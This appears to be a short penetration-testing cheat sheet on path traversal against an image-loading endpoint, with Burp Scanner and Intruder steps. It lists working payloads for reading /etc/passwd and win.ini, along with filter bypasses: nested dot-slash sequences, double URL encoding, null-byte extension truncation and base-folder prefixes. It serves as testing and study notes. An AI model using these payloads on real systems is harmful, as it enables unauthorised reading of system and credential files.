**Found with BurpScanner ActiveScan**

Pay attention to the resources loaded, e.g., <img src="/loadImage?**filename=218.png**">

**and t**he image is loaded from /var/www/images/218.png

Attack: https://website.com/loadImage?filename**=../../../etc/passwd**

https://website.com/loadImage?filename**=..\..\..\windows\win.ini**

- **Use Burp Intruder => Fuzzing – path traversal (single file) => Payload Processing => replace \{FILE\} or** **\{BASE\}** with the need file (e.g., **etc/passwd**)

- Use **absolute path** from filesystem root: filename=**/etc/passwd**

- If the application strips path traversal sequences, try ....// or ....\/

- Try (double) URL encoding the ../

If an application requires that the user-supplied filename must end with an expected file extension, such as .png, then it might be possible to use a null byte to effectively terminate the file path before the required extension: filename=../../../etc/passwd%00.png

* In **Burp Intruder**, **add suffix**

**Not Found with BurpScanner ActiveScan**

If it is required to start with a base folder such as /var/www/images/218.png, then filename=/var/www/images/../../../etc/passwd

=> select “218.png” and scan the manual insertion point